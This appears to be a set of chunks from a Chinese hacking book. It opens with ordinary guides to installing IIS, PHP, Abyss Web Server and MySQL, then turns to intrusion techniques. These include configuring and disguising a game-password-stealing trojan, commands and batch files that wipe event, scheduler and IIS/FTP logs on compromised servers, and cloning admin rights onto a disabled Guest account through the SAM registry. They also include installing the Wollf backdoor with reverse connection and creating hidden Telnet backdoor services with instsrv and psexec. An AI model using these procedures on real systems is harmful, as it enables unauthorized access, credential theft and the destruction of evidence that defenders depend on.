    {"text": "步骤1：在Windows系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口，如图1-151所示。 图 1-151 【管理工具】窗口 步骤2：双击【Internet信息服务】图标，即可打开【Internet信息服务】窗口，单击“本地计算机”栏目前的“+”号，和其下属结点“网站”前的“+”号，如图1-152所示。 图 1-152 【Internet信息服务】窗口 步骤3：在“默认网站”结点上右击，在快捷菜单中选择【属性】选项，即可打开【默认网站属性】对话框，如图1-153所示。 图 1-153 【默认网站属性】对话框 步骤4：选择【网站】选项卡“IP地址”下拉列表框中本机IP地址（如选择主机IP地址为192.168.0.18）后，单击【确定】按钮，即可完成对网站IP地址的设置。 （2）设置默认网站的访问权限 一般情况下，设置网站的IP地址后在IE浏览器中输入设置的IP地址，就可以打开默认网页，但有时可能会在打开网页时显示一个提示信息框，请用户输入用户名和登录密码，这一般是由于网站登录权限设置不对而引起的。"},
    {"text": "步骤1：在【默认网站属性】对话框中选取“目录安全性”标签，则显示如图1-154所示的对话框。 单击“匿名访问和身份证控制”区域中的【编辑】按钮，即可打开【身份验证方法】对话框，如图1-155所示。 图 1-154 “目录安全性”标签页 图 1-155 【身份验证方法】对话框 步骤2：在确保“匿名访问”复选框处于选取状态，并在“用户名”文本框中输入匿名访问使用的用户名和密码即可。"},
    {"text": "2.快速架设ASP（Active Server Page）服务器和PHP（Professional Hypertext Preprocessor）服务器 现在，Internet网络上有一些体积较小，操作方便的工具，可以帮助用户快速架设ASP或PHP服务器，从而节省不少时间。 （1）快速架设ASP服务器 除使用IIS架设ASP网站外，还可使用其他软件，如小旋风ASP Web服务器，它体积小巧，但操作非常简单。 使用小旋风ASP Web服务器架设ASP服务器的具体操作步骤如下。 步骤1：双击“小旋风ASP Web服务器”安装程序图标，即可进入【欢迎安装小旋风ASP Web服务器向导】对话框，如图1-156所示。 图 1-156 【欢迎安装小旋风ASP Web服务器向导】对话框 步骤2：单击【下一步】按钮，即可打开【阅读软件说明】对话框，在其中可以详细阅读软件的说明书，如图1-157所示。"},
    {"text": "图 1-157 【阅读软件说明】对话框 步骤3：在认真阅读完毕后，单击【下一步】按钮，即可打开【选择程序文件夹】对话框，在其中可以设置程序文件夹的名称，如图1-158所示。 单击【下一步】按钮，即可打开【安装路径选取】对话框，在其中可以选择程序安装的目标位置，如图1-159所示。 图 1-158 【选择程序文件夹】对话框 图 1-159 【安装路径选取】对话框 步骤4：单击【下一步】按钮，程序开始安装并显示安装的进度。"},
    {"text": "单击【完成】按钮，即可弹出【错误对话框】消息框，提示“服务器启动失败”信息，如图1-161所示。 图 1-160 【安装完成】对话框 图 1-161 【错误对话框】消息框 步骤5：单击【确定】按钮并重新启动计算机，再双击桌面上的“启动Asp Web Server 2005”应用程序图标，即可成功启动服务器并在任务栏中看到相应的启动图标，如图1-162所示。"},
    {"text": "VertrigoServ是一款可以在Windows系统上安装Apache 2.x.x、PHP 5.x.x、MySQL 5.x.x及PhpMyAdmin的all-in-one安装包，可以让用户在电脑变成支持PHP的Web服务器。"},
    {"text": "步骤1：双击从网络下载的压缩包文件，指定其解压的路径，再双击其安装文件，启动其安装程序，如图1-163所示。 选择\"Chinese（Simplified）\"项，单击【OK】按钮，需要以简体中文语言进行安装，如图1-164所示。 图 1-163 选择安装语言 图 1-164 欢迎安装界面 步骤2：单击【下一步】按钮，在如图1-165所示的对话框中阅读该软件许可协议。"},
    {"text": "图 1-167 【选择安装位置】对话框 图 1-168 【选择“开始菜单”文件夹】对话框 步骤4：单击【安装】按钮，即可安装VertrigoServ软件并显示其安装进度，如图1-169所示。"},
    {"text": "单击【Hide this window and start server】按钮，即可启动PHP Web服务，如图1-171所示。 此时在IE浏览器地址栏中输入http://localhost，回车后即可看到自己的PHP网页，如图1-172所示。"},
    {"text": "图 1-171 选项设置消息框 图 1-172 浏览自己生成的PHP网页 3.ASP+PHP+CGI网站平台 这里介绍一款可快速打造ASP+PHP+CGI综合网站服务的工具Abyss Web Server，它具有Linux和Windows两个版本，并还支持Windows最新的Vista系统。"},
    {"text": "图 1-173 “安装许可协议”界面 图 1-174 选择需要支持的网站类型 图 1-175 选择安装的路径 步骤2：单击【Install】按钮，即可开始安装并显示其安装进度，如图1-176所示。"},
    {"text": "安装完毕后，显示如图1-177所示的对话框，在其中可选择Abyss Web Server的启动方式，这里选择用户登录自动启动方式。 图 1-176 显示安装的过程 图 1-177 选择Abyss Web Server启动方式 步骤3：单击【OK】按钮，系统显示安装完毕，是否立即启动Abyss Web Server的提示信息，单击【是】按钮，即可启动Abyss Web Server并在通知栏显示该程序图标 ，如图1-178所示。 图 1-178 Abyss Web Server安装提示信息 步骤4：双击通知栏中的 图标，则弹出是否增加设置的提示信息，如图1-179所示。"},
    {"text": "图 1-179 是否增加设置的提示信息 图 1-180 “选择Language”窗口 步骤5：单击网页中的【English】按钮，则显示设置用户名称和登录密码的网页，如图1-181所示。 在设置好用户名和登录密码后，单击【OK】按钮，即可弹出如图1-182所示的对话框，在其中输入刚才设置的用户名和密码。"},
    {"text": "单击【确定】按钮进入服务器管理页面，如图1-183所示。 图 1-181 \"Access Credentials\"窗口 图 1-182 连接用户 图 1-183 \"Abyss Web Server Console\"窗口 步骤6：单击【Server Configuration】按钮，即可进入\"Server Configuration\"页面，如图1-184所示。 再单击【Parameters】按钮，在其中设置服务器根目录、最大连接数、连接超时等选项，如图1-185所示。 图 1-184 \"Server Configuration\"窗口 图 1-185 \"Parameters\"窗口 步骤7：单击【OK】按钮返回“服务器管理”页面，在其中根据需要进行相应的设置，如图1-186所示。 再单击【General】按钮，即可设置网站协议类型、默认端口、文档路径等选项，如图1-187所示。 图 1-186 \"Hosts-Edit-Default Host On Port 80\"窗口 图 1-187 \"General\"窗口 为使所架设的网站支持CGI（Common Gateway Interface，公共网关接口）程序，可从网络下载PHP 5.3.0 RC2 for Windows程序，将其安装到Windows系统中。"},
    {"text": "PHP是一种CGI程序编写语言，内置了对文件上传、密码认证、Cookies操作、邮件收发、动态GIF生成等功能，可为很多数据库提供连接，包括Oracle、Sybase、Postgres、MySQL、Informix、Dbase、Solid、Access等，完全支持ODBC（Open Database Connectivity）接口，用户更换平台时无需变换PHP代码，可即拿即用。"},
    {"text": "步骤1：双击\"PHP 5.3.0 RC2 for Windows\"应用程序图标，即可进入“PHP 5.3.0 RC2 for Windows安装向导”主界面，如图1-188所示。 图 1-188 “PHP 5.3.0 RC2 for Windows安装向导”主界面 步骤2：单击【Next】按钮，即可打开【End-User License Agreement】对话框，在其中阅读许可协议并勾选\"I accept the terms in the License Agreement\"复选框，如图1-189所示。 图 1-189 【End-User License Agreement】对话框 步骤3：单击【Next】按钮，即可打开【Destination Folder】对话框，在其中指定安装路径，如图1-190所示。 图 1-190 【Destination Folder】对话框 步骤4：单击【Next】按钮，即可打开【Web Server Setup】对话框，在其中指定需要支持的服务器类型，如图1-191所示。 单击【Next】按钮，即可打开【Choose Item to Install】对话框，在其中设置安装的组件，如图1-192所示。 图 1-191 【Web Server Setup】对话框 图 1-192 【Choose Item to Install】对话框 步骤5：单击【Next】按钮，即可打开【Ready to install PHP 5.3.0RC2】对话框，如图1-193所示。 单击【Install】按钮，即可打开【Installing PHP 5.3.0RC2】对话框，程序开始安装并显示安装进度条，如图1-194所示。 图 1-193 【Ready to install PHP 5.3.0RC2】对话框 图 1-194 【Installing PHP 5.3.0RC2】对话框 步骤6：在程序安装完毕后，单击【Next】按钮，即可打开【Completed the PHP 5.3.0RC2】对话框。"},
    {"text": "图 1-195 【Completed the PHP 5.3.0RC2】对话框 大部分动态网站都需要SQL数据支持，这里使用MySQL For Windows V6.0 Alpha代替庞大的MS SQL数据。 MySQL For Windows V6.0 Alpha是一个多线程结构化查询语言（SQL）数据库服务器。"},
    {"text": "步骤1：双击MySQL For Windows V6.0 Alpha安装程序，即可进入“欢迎安装MySQL 6.0向导”界面，如图1-196所示。 图 1-196 “欢迎安装MySQL 6.0向导”界面 步骤2：单击【Next】按钮，即可打开【Setup Type】对话框，在其中选择一种安装的类型，这里选择“典型安装”类型，如图1-197所示。 图 1-197 【Setup Type】对话框 步骤3：单击【Next】按钮，按照向导提示即可完成安装。 在完成安装后勾选\"Configure the MySQL Server now\"复选框，如图1-198所示。 图 1-198 完成安装 步骤4：单击【Finish】按钮，即可打开设置向导。 单击【Next】按钮，用户可以选择设置方式，如图1-199所示。 在其中选择“Detailed Configuration（简单设置）”模式，单击【Next】按钮，选取\"Server Machine\"选项，如图1-200所示。 图 1-199 选择设置方式 图 1-200 选择一种服务类型 步骤5：单击【Next】按钮，选取\"Multifunctional Database\"选项，如图1-201所示。 单击【Next】按钮，在其中设置数据库文件保存的位置，如图1-202所示。 图 1-201 选择数据库用途 图 1-202 设置数据库文件保存的位置 步骤6：单击【Next】按钮，在其中设置服务器连接数量，如图1-203所示。"},
    {"text": "单击【Next】按钮，在其中设置端口号，如图1-204所示。 图 1-203 设置服务器连接数量 图 1-204 设置端口号 步骤7：单击【Next】按钮，在其中设置默认字符，如图1-205所示。 单击【Next】按钮，在其中设置MySQL服务名称及自动加载运行选项，如图1-206所示。 图 1-205 设置默认字符 图 1-206 设置MySQL服务名称及自动加载运行选项 步骤8：单击【Next】按钮，在其中设置系统管理员密码，如图1-207所示。 单击【Next】按钮，再单击【Execute】按钮，即可完成设置，如图1-208所示。 图 1-207 设置系统管理员密码 图 1-208 成功完成设置 步骤9：单击【Finish】按钮，再重新打开Abyss Web Server的服务器管理页面，单击【Configure】按钮进入高级设置页面，如图1-209所示。"},
    {"text": "单击【Scripting Parameters】按钮，勾选\"Enable Scripts Execution\"复选框并单击\"Interpreters\"项中的【Add】按钮，即可打开PHP文件添加页面，如图1-210所示。 图 1-209 高级设置页面 图 1-210 PHP文件添加页面 步骤10：设置\"Interface\"为\"FastCGI（Local-Pipes）\"，设置\"Type\"为\"PHP Style\"，在\"Interpreter\"输入php-cgi.exe所在路径。"},
    {"text": "步骤12：使用记事本编辑器新建一个文件，输入\"＜?phpinfo();?＞\"，并命名为\"test.php\"保存到网站根目录下。 打开IE浏览器，在地址栏中输入http://localhost/test.php，若能正常显示网页，则表示PHP安装成功。"},
    {"text": "4.安装网站插件 网站程序的安装一般来说都是大同小异，但对于某些网站还需要一些特殊组件的支持，需要在现有的网站程序中安装此类插件，其中最常见的是上传组件。"},
    {"text": "上传组件很多，这里选择安装的是\"ASPSmartUpload\"上传组件。 上传组件ASPSmartUpload的安装方法如下。 步骤1：将网站插件下载并解压到某个文件夹中，如\"H:\\aspsmartupload\"，复制其中的ASPSmartUploadUtil.dll文件到Windows\\system32文件夹中。 步骤2：在【运行】对话框中输入\"regsvr32 H:\\aspsmartupload\\aspsmartupload.dll\"命令，单击【确定】按钮，即可注册成功，如图1-212所示。"},
    {"text": "图 1-212 【RegSvr32】对话框 提示 网站可能还需再安装一些插件，如“Scripting.FileSystem Object（FSO文本文件读写组件）”等，才能正常执行所有的功能，同时为网站增加更多的功能，如动网论坛中的游戏系统。"},
    {"text": "未知 第89招 防范“传奇密码邮差” 传奇密码邮差是一个木马程序，能够准确截取传奇的相关信息，包括登录区域、用户名、密码、服务器及游戏角色的等级、职业、性别、昵称、装备等，且不容易被杀毒软件所查杀。 目前，盗取传奇账号的方法主要有如下两种： 1）键盘记录。这是早期的密码盗取方式，一般是使用一些木马软件。在运行了这些软件的机器上登录传奇后，用户的密码就会通过邮件发送给对方。这类软件依赖于使用键盘输入账号密码，因此只要使用软键盘输入即可有效地防范。 2）木马远程盗取。这类软件与早期的键盘记录最大区别就在于不完全依赖于键盘。即使你使用软键盘输入或者使用“复制/粘贴”都能有效地截取到你的密码。 这类软件有传奇黑眼睛、传奇叛逆、传奇密码使者、传奇猎手和传奇终结者等，但是很多软件都能被木马克星、密码防盗专家和绿鹰PC精灵等查杀。这些软件常常会不定期推出新的变种。如果在家里上网，基本不去网吧，那么黑客在机器上安装这些键盘记录程序的可能性就很小。现在很多黑客还使用“传奇密码邮差”来兴风作浪。 1.警惕“传奇密码邮差” 由于“传奇密码邮差”能够躲开现在很多安全工具的查杀并顺利地进驻用户的电脑系统，再盗取传奇账号。下面来了解一下黑客是如何盗取传奇密码的，以便有针对性地对其防范。 （1）配置传奇密码邮差 下载该软件后将文件解压，运行Setup.exe文件即可打开“传奇密码邮差”木马生成窗口。这里共有三项需要设置，在“信箱”内输入用于接收盗取的密码信息的邮箱；在“标题”中输入邮件的标题；正式版本还需要输入“注册码”。 在输入完毕后点击【生成文件】按钮，即可打开【保存生成的文件】窗口，在其中输入文件名。这是一个EXE格式的文件，通常黑客会将这个文件名改成一些软件名或者其他具有迷惑性的名字。在输入文件名后单击【打开】按钮，软件提示文件已经保存成功，单击【OK】按钮完成木马的配置。 （2）伪装发送木马 生成的木马文件只有29.5KB，这样黑客很容易将该木马与其他文件捆绑或者制作成网页木马。只要运行了这个可执行文件就会中招！当然如果黑客直接发送EXE文件给别人，稍微有点安全常识的人都不会接收。 这里介绍黑客伪装的一种方法：图片欺骗法。在为生成的木马命名时，黑客通常会命名为photo.jpg，粗一看是一个图像文件，实际上这只是一个文件名，而真正的文件格式（.exe）在Windows默认状态是不显示的，所以很多人都会接收，等到点击时发现什么也没有，黑客则会说是发错了，而你实际上此时已经运行了这个盗号木马。 此外，黑客为防止一些稍微高明的用户发现文件图标不对，常常使用一些图标修改工具来对图标进行修改，让人防不胜防。因为即使是改成了photo.jgp这个文件名，实际上还是EXE文件，精明用户一眼就能看出它与系统默认图片格式的图标不同，因此不会运行。 2.拒绝传奇盗号 要防止游戏账号被盗，必须做好自身的安全配置和对外防御两方面的工作。只有内外加固，才能做到滴水不漏。 1）防止传奇木马首先要在电脑里装能够定期升级的常用杀毒软件，如瑞星2009、木马克星等，也要经常使用专杀木马工具进行检查。 2）有些木马运行后会强制关闭杀毒软件防火墙和木马克星、绿鹰PC万能精灵等专杀木马工具。这时候就要用系统进程检查工具。比较好用的是超级兔子，因为它并不是专杀木马的工具，所以木马都不会强制关闭它，如果你的电脑上已经运行不了木马克星和绿鹰精灵了，也就是双击这些软件没有反应时，那就需要运行它来检查系统进程，看看有没有可疑的进程。 运行这个软件后，里面有一项是自动运行，点开它，在出现的窗口中，左边是进程管理，也即目前正在运行的进程；右边是自动运行，也就是每次开机时自动运行的进程。由于木马运行后都会在系统中留下进程，也会随电脑自动运行，而这时在超级兔子里的系统进程和随机自动运行的进程都一目了然了，所以也就很好查杀了。找出可疑进程，终止进程就可以了。 下面是常见传奇木马的一些进程： 传奇黑眼睛：C:\\windows\\taskmon32.exe，自动运行进程：taskmon32。 传奇叛逆：C:\\windows\\system\\internet.exe，自动运行进程：intel。 传奇终结者：C:\\windows\\scanrew.exe，自动运行进程：scanrew。 传奇密码使者：C:\\windows\\system\\cleanmgl.exe和C:\\windows\\system\\sticpl.exe，自动运行进程：Microsoft。 传奇猎手：C:\\windows\\system\\winsys.exe，自动运行进程：Winsys。 传奇幽灵：C:\\windows\\internet.exe，自动运行进程：internet。 传奇天使：C:\\windows\\kiss.exe，自动运行进程：kiss。 3）不要轻易接收别人发来的文件或者打开邮件中的附件，彻底堵住木马的入口。"},
    {"text": "未知 第10章 日志与后门清除技术 重点提示 ♂清除登录服务器的日志信息 ♂给自己的入侵留下后门 ♂日志分析利器WebTrends ♂IIS日志清理工具 ♂APACHE日志清理工具 ♂巧妙清除日志文件 本章精粹： 本章主要讲述了日志与后门清除技术。其中包括：清除登录服务器的日志信息、给自己的入侵留下后门、IIS日志清除工具等内容，有助于读者及时发现黑客入侵后留下的蛛丝马迹，揪出蓄意破坏用户系统的幕后黑手。 黑客在利用各种手段入侵到目标计算机后，为了长期入侵该计算机，同时也为下次进入系统时更方便些，往往会留下隐藏后门，再清除日志来隐藏自己的踪迹。"},
    {"text": "未知 第90招 清除登录服务器的日志信息 当注射完一台服务器成功拿到系统权限后，由于注射过程中产生了很多日志文件，这时就需要清除整个日志文件。"},
    {"text": "1.手工清除服务器日志 在入侵过程中，远程主机的Windows系统会对入侵者的登录、注销、连接、甚至拷贝文件等操作进行记录，并把这些记录保留在日志中。"},
    {"text": "步骤1：入侵者先用IPC$连接之后，在远程主机的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口。 双击其中的【计算机管理】图标，即可打开【计算机管理】窗口。"},
    {"text": "步骤2：展开【计算机管理（本地）】→【系统工具】→【事件查看器】选项，打开事件记录窗格，其中的事件日志分为3类：“应用程序”日志、“安全性”日志及“系统”日志，如图10-1所示。 这3类日志分别记录不同种类的事件，右击相应的日志，在弹出的快捷菜单中选择【清除】菜单项，即可清除指定日志。 图 10-1 【计算机管理】窗口中的事件记录窗格 步骤3：如果入侵者想做得更干净一点，则可在【计算机管理】窗口的左窗格中展开【计算机管理（本地）】→【服务和应用程序】→【服务】选项，再在其右窗格中找到\"Event Log\"服务，并把该服务禁用，如图10-2所示。 图 10-2 禁用\"Event Log\"服务 在经过上述设置之后，用户只要重新启动系统，该主机/服务器就不会对任何操作进行日志记录了。 2.清除计划任务日志 计划任务日志是任务计划（Scheduler）所产生的日志文件，默认存放在Windows系统所在的文件夹中，名称为Schedlgu.txt（Windows2000系统）或Schedlog.txt（Winnt系统），如果在实施黑客入侵过程中使用了at命令，就必须要对它进行清理（反之则不用清理，不过多半需要清理，因为黑客最喜欢使用计划任务方式运行一些程序了）。 由于这个日志文件是由任务计划管理，而任务计划是以系统服务（Service）的方式运行，因此必须先将任务计划停止，才能对Schedlgu.txt（或Schedlog.txt）文件进行清理，由于很少有网管人员会查看任务计划日志（甚至不使用任务计划），因此用户可将Schedlgu.txt（或Schedlog.txt）全部删除。"},
    {"text": "首先制作一个批处理文件Cleanat.bat，内容如下： @echo off Net stop\"task scheduler\"＞NULL Del%Systemroot%\\Schedlgu. txt＞NULL 先将这个批处理文件复制到目标服务器的C:\\中，用at命令设置两分钟后运行它，再删除Cleanat.bat（避免网管人员看到引起怀疑），为避免有残留的Schedlgu.txt（或Schedlog.txt），还需要最后删除一次。"},
    {"text": "3.清除WWW和FTP日志 在入侵到对方的服务器之后，IIS将会详细地记录下入侵者入侵的全部过程。 一个优秀的系统管理员可通过IIS查找到入侵者的足迹，因此，入侵者一定要清除所记录下来的日志。"},
    {"text": "在Windows 2000系统及其后续版本中，WWW日志一般都存放在%winsystem%\\system32\\logfiles\\w3svc1文件夹中，包括WWW日志和FTP日志。 （1）清除WWW日志 IIS中WWW日志默认存储位置是%winsystem%\\system32\\logfiles\\w3svc1\\，每天产生一个新日志。 如果管理员对其存放路径进行了修改，则可以运用iis.msc对其进行查看，再通过查看网站的属性来查找到其存放位置，此时可在MS-DOS命令提示符窗口中用\"del*.*\"命令来清除日志文件。 这个方法如果删除不掉当天的日志，则是因为w3svc服务还在开着，可用\"net stop w3vsc\"命令把这个服务停止后，再用\"del*.*\"命令清除当天日志。 另外，也可用记事本把日志文件打开，删除其内容后再进行保存也可清除日志。"},
    {"text": "最后记得用\"net start w3svc\"命令再打开w3svc服务。 删除日志前要先停止相应的服务（其命令是“net stop服务名称”），再进行删除即可（日志删除后务必要记得再打开相应的服务）。 也可修改目标计算机中的日志文件，其中WWW日志文件存放在w3svc1文件夹下，FTP日志文件存放在msftpsvc文件夹下，每个日志都是以exXXXXXX.log为命名的（其中xxxxxx代表日期）。 （2）清除FTP日志 FTP日志的默认存储位置为“%winsystem%\\system32\\logfiles\\msftp svc1\\（FTP日志一定不要漏掉不删）”，其清除方法和清除WWW日志的方法差不多，只是所要停止的服务不同。 清除FTP日志的具体方法如下。"},
    {"text": "4.通过工具清除日志 若想清理系统、安全与程序日志，则可利用ClearLog工具删除目标服务器的日志，由于该程序可直接进行远程清理，不需要将此程序上传到目标服务器中运行，利用它可以清理Windows的一般日志，包括系统日志（System Log）、安全日志（Security Log）与程序运行日志（Applications Log）。"},
    {"text": "再通过\"net time\"命令查看远程计算机的系统时间，再用AT命令建立一个计划任务来执行clearlogs.exe文件：AT时间C:\\clear.bat。 clearlogs\\\\192.168.0.12-app//清除远程计算机的应用程序日志 clearlogs\\\\192.168.0.12-sec//清除远程计算机的安全日志 clearlogs\\\\192.168.0.12-sys//清除远程计算机的系统日志 或者为了更安全一点，也可以建立一个批处理文件clear.bat。 @echo off clearlogs-app clearlogs-sec clearlogs-sys del clearlogs.exe del c.bat exit 步骤3：断开IPC$连接。 使用命令\"net use\\\\192.168.0.12\\ipc$/del\"，经过上述操作之后，远程主机中的日志记录就被清除了。 通过执行上述命令，即可轻松将自己入侵的日志清除干净，不必一个个去辛苦查找各项日志文件的存放位置后再清除，这个小工具会自动帮助用户完成这些繁琐的事情。 但这个工具只能删除默认文件夹中的日志文件，如果目标服务器的网管将日志文件位置改到其他文件夹中，这个工具就不能清除。"},
    {"text": "未知 第91招 给自己的入侵留下后门 后门是一种绕过安全性控制而获取对程序或系统访问权的方法，也是一种登录系统的方法，不仅能绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置，随意进入别人的电脑并且不会被察觉。 1.手工克隆账号 账号后门是黑客在第一次入侵成功后，在远程主机内部建立的一个备用管理员账号，以便用管理员权限再次进入该系统，而这个账号在一般系统管理员看来，只拥有user组的权限。 克隆账号就是把系统中存在的某一个账号，设置为拥有系统管理员权限的账号，克隆出来的账号无法用“账号管理”查出该账号的真实权限。"},
    {"text": "步骤1：在注册表编辑器中展开HKEY_LOCAL_MACHINE\\SAM分支，在SAM子键下查看各个账号的内容，如图10-3所示。 没有看到各个账号的内容的原因在于SAM关系到整个系统中账号的安全，在一些Windows版本中，只有拥有System权限者能够对注册表的SAM进行访问。"},
    {"text": "图 10-3 注册表编辑器图 命令格式为：psu[参数选项] -p＜要运行的文件名＞：务必写全可执行文件的路径，如需带参数，请用“”括起来；"},
    {"text": "例如： psu-p C:\\winnt\\notepad.exe psu-p C:\\winnt\\notepad.exe-i 1234 psu-p\"C:\\winnt\\system32\\cmd.exe/K\" 步骤2：在【任务管理器】窗口中找到System进程，并记下其PID（本例中获得System的PID是4），即可使用psu.exe提升管理员权限效果，如图10-4所示。 图 10-4 获取System进程的PID值 步骤3：在MS-DOS命令窗口中键入\"psu-p regedit-I 4\"（其中“4”是本例中获得的System进程的PID值）命令，此时以System权限打开注册表编辑器，即可看到SAM的内容，如图10-5所示。 图 10-5 注册表编辑器 步骤4：在【注册表编辑器】窗口中找到HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000001F4（这一项为Administrator项）注册表项，双击右边窗口中\"F\"键名，并复制键值数据，如图10-6所示。 图 10-6 复制Administrator项下F值 步骤5：进入想克隆的账号名Guest主键分支，将其\"F\"键名的键值数据换成刚才复制Administrator的\"F\"键值数据，如图10-7所示。 此时关闭注册表编辑器，即可实现对账号的克隆。 图 10-7 把Guest项的F值替换为Administrator项下的F值 步骤6：禁用账号。 在入侵者成功将Guest账号克隆成Administrator账号的权限之后，为了使后门账号更加隐蔽，还需将该Guest账号禁用，即通过“被禁用的Guest账号”实现远程控制。 可通过在命令行方式下键入\"net user guest/active:no\"命令来实现禁用Guest账号。"},
    {"text": "在MS-DOS命令窗口中键入\"net user guest\"命令，即可查看Guest账号的属性，从返回结果可以看出，该Guest账号已被禁用，而且仅仅属于“Guest组”，如图10-8所示。 图 10-8 MS-DOS下查看Guest账号属性 步骤8：也可以打开【计算机管理】窗口来查看Guest账号的属性，从右窗格可见，该Guest已经被系统禁用了，如图10-9所示。 图 10-9 查看Guest账号属性 如果想克隆一个管理员账号，那该账号必须是系统中存在的。 假如现在克隆了管理员账号之后删除原账号，再把原F键值和V键值导回到注册表中。 结果还是不能登录，因为此时原管理员账号在系统中是不存在的（想克隆的账号必须未被禁用）。 在后门账号制作成功之后，当再次使用克隆的后门账号登录时，登录的系统界面实际上就是管理员的界面。 2.程序克隆账号技术 克隆账号的方法不只是手工克隆账号一种，还可以运用程序的方法实现克隆技术，程序克隆技术就需要利用PSU.exe工具，把当前的管理员设置为System权限。"},
    {"text": "步骤1：在桌面环境中按\"Ctrl+Alt+Del\"组合键，即可打开【Windows任务管理器】窗口，查看System的进程号是4，如图10-10所示。 图 10-10 查看System的进程号 步骤2：在【运行】对话框中输入\"cmd\"命令，单击【确定】按钮，进入到命令提示符窗口之后，再运行\"psu-p regedit-i 4\"命令，即可完成权限的修改操作。"},
    {"text": "在CMD命令窗口中运行\"net user guest 000000\"命令，即可为这个Guest账号添加密码，以保护计算机不被其他黑客所用，如图10-11所示。 图 10-11 修改账号密码 步骤4：在CMD命令窗口中运行\"net user guest/active：no\"命令，即可禁用Guest账号，如图10-12所示。 右击“我的电脑”图标，从快捷菜单中选择“管理”选项，即可打开【计算机管理】窗口，可以看到Guest账号已经被禁用，如图10-13所示。"},
    {"text": "图 10-12 执行命令 图 10-13 禁用Guest账号 步骤5：在CMD命令窗口中运行\"net user guest\"命令，即可查看Guest账号的属性，如图10-14所示。 从Guest账号的属性中可以看到该Guest账号确实已经被禁用，并且仅仅属于“Guests组”。 在其中运行\"net localgroup administrators\"命令，即可查看管理员组的成员，从中可以看出Guest账号并不属于本机管理员组，如图10-15所示。 图 10-14 验证后门账号是否启用 图 10-15 验证后门账号是否属于管理员组 步骤6：再次打开【计算机管理】窗口中可以查看到Guest账号已经被禁用，双击禁用的Guest账号，即可打开【Guest属性】对话框，如图10-16所示。 在“隶属于”选项卡中可以看出Guest账号属于“Guests组”，并不能看出此账号存在问题，由此证明账号后门非常隐蔽，如图10-17所示。 图 10-16 【Guest属性】对话框 图 10-17 “隶属于”选项卡 3.用Wollf留下木马后门 Wollf是一款非常经典的后门程序，简直就是一个小型网络操作系统。 它有专用命令、扩展Telnet服务、集成文件传输、FTP服务器、键盘记录、Sniffer（只对Windows 2000/XP系统有效）、端口转发等功能，可实现反向连接，通过参数设置来实现后门程序随系统启动或只作为普通进程运行。"},
    {"text": "-setup：对wollf.exe进行设置，包括监听端口、访问口令或设置为反向连接方式，完成后将生成wollf_new.exe。 （2）运行示例 Wollf命令后面不带任何选项表示安装并启动服务，监听默认端口7614。"},
    {"text": "注意事项： 1）默认监听端口为7614，通过Telnet连接后可输入\"help\"查看命令列表，输入“help[命令]”可查看单个命令的详细用法（如\"help ftpd\"）；"},
    {"text": "2）若将wollf服务设置为反向连接方式，需要事先向FTP或HTTP服务器上传一个包含控制者IP地址和监听端口的文本文件，格式为\"[IP]:[port]\"，如“192.168.1.1:2000”，然后运行\"wollf-listen 2000\"等待连接。 3）若需要直接传输文件，必须通过\"wollf-connect\"或\"wollf-listen\"建立连接，否则不可使用任何telnet客户端工具，建议使用NetCat。"},
    {"text": "下面简单讲述一下如何按照自定义方式安装Wollf后门，具体的操作步骤如下。 步骤1：配置Wollf参数。 在MS-DOS命令提示符窗口中运行\"wollf.exe-setup\"命令，即可进入Wollf参数设定模式，通过对如下10个选项设置Wollf的参数。"},
    {"text": "此时，将在与wollf.exe同一目录中生成一个名为wollf_new.exe的新程序，该程序就是自定义参数的Wollf木马了。 步骤3：在新木马生成之后，可以通过IPC$方式将wollf_new.exe程序上传到远程主机中，并将其改名为_tcp_2.exe。"},
    {"text": "通过Telnet远程登录到远程主机上安装Wollf服务之后，入侵者就成功地在远程主机上安装了Wollf后门。 步骤4：此时，入侵者就可以在本地MS-DOS命令提示符窗口中用\"wollf.exe-connect 192.168.0.6\"命令，与远程主机建立Wollf连接。"},
    {"text": "4.系统服务后门 由于在默认情况下，Telnet服务是禁用的，所以在成功入侵后，黑客会想尽办法把目标主机中的Telnet服务设置为自动运行，以便于下次登录。 由于Telnet是Windows系统自带的服务，所以杀毒软件不会察觉。 如果直接把Telnet服务设置为自动运行，这样很容易被网络管理员发现并引起警觉，所以使用隐藏Telnet服务是黑客普遍采用的方法。 （1）利用instsrv创建Telnet后门 instsrv. exe是一款用命令行就可以安装、卸载服务的程序，可自由指定服务名称和服务所执行的程序。"},
    {"text": "如使用\"instsrv.exe Syshell C:\\WINDOWS\\system32\\tlntsvr.exe\"命令，即可创建一个Syshell服务，如图10-19所示。 图 10-18 instsrv常用的命令 图 10-19 使用命令创建Syshell服务 在安装更为隐藏的Telnet服务前，需要查看Telnet服务指向的文件。"},
    {"text": "步骤1：在【运行】窗口中输入\"services.msc\"命令，单击【确定】按钮，即可打开【服务】窗口，如图10-20所示。 右击Telnet服务，在弹出快捷菜单中选择“属性”选项，即可打开【Telnet属性（本地计算机）】对话框，如图10-21所示。 图 10-20 【服务】窗口 图 10-21 【Telnet的属性】对话框 步骤2：在“可执行文件的路径”文本框中可看到Telnet服务默认路径是\"C:\\WINDOWS\\system32\\tlntsvr.exe\"。 因此，文件tlntsvr.exe是Windows系统中专门提供Telnet服务的。 如果把某服务指向该程序，该服务就会提供Telnet服务。 黑客可自己定义一个新服务并将其指向tlntsvr.exe，通过该服务提供的Telnet服务来登录。 以在远程主机上Telnet服务被禁用的情况下，实现自定义服务登录到该远程计算机上，这就是Telnet后门的原理。 下面介绍构建Telnet后门的具体操作步骤如下。"},
    {"text": "步骤1：把tlntsvr.exe文件复制到远程计算机的C:\\WINDOWS\\system32目录下，在【命令提示符】窗口中输入\"psexec\\\\192.168.0.10-u administrator-p\"037971\"C:\\Windows\\system 32\\cmd.exe\"命令，来获得远程计算机的命令行。 步骤2：在【命令提示符】窗口中运行\"instsrv.exe shell C:\\WINDOWS\\system32\\tlntsvr.exe\"命令来建立一个名为shell的服务，并把该服务指向专门提供Telnet服务程序\"C:\\WINDOWS\\system32\\tlntsvr.exe\"。"},
